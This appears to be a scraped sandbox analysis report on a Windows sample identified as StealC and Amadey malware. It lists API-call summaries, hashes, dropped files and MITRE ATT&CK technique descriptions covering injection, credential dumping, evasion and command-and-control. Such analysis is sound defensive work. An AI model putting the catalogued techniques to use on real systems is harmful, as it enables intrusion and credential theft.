Instruction Fuzzy Hash: 1D318070A657968FDF40AF39854826977B4BF0630CF2A466DDC8887B11DB34A486CA81

Function 6CED0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE72AF5,?,?,?,?,?,6CE70A1B,00000000), ref: 6CED0F1A
malloc.MOZGLUE(00000001), ref: 6CED0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CED0F42
TlsGetValue.KERNEL32 ref: 6CED0F5B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 7ae8db80caf6f6677a33dbbfe605f3494f8174da775365bb0df4af9479d740cc
Instruction ID: c8203136ccb04140abc04ebde23dfd1e1466511ad2fbd2419f196875aeaddb78
Opcode Fuzzy Hash: 7ae8db80caf6f6677a33dbbfe605f3494f8174da775365bb0df4af9479d740cc
Instruction Fuzzy Hash: 0001DD71F512905BE750273A9D05656767CEF4325DB360125EC18C3A11D731E94685D3

Function 6CE81EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE81ECE
free.MOZGLUE(?), ref: 6CE81EDF
free.MOZGLUE(?), ref: 6CE81EEF
free.MOZGLUE(?), ref: 6CE81EF5

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1e67029e5a7516ee34dffc24f030a95a5d90da7e7148b0c7681c0d8d1b8dea16
Instruction ID: 7300257c0416874555cd42495ba1481299706d1818630f100232216006d8f446
Opcode Fuzzy Hash: 1e67029e5a7516ee34dffc24f030a95a5d90da7e7148b0c7681c0d8d1b8dea16
Instruction Fuzzy Hash: 26F089B17115056BEB00DBAADC89E67737CEF45599B140435EC1DC3B00D726F51587B1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFBFBAAKECFIEBFIECFCGCAF

C:\ProgramData\BFBKFHIDHIIJJKECGHCF

C:\ProgramData\IDBKKKKKFBGDGDHIDBGH

C:\ProgramData\JDAKJDAA

C:\ProgramData\JJEGIJEG

C:\ProgramData\JJEGIJEGDBFHDGCAFCAE

C:\ProgramData\JJJEBGDAFHJEBGDGIJDHCAKJKK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre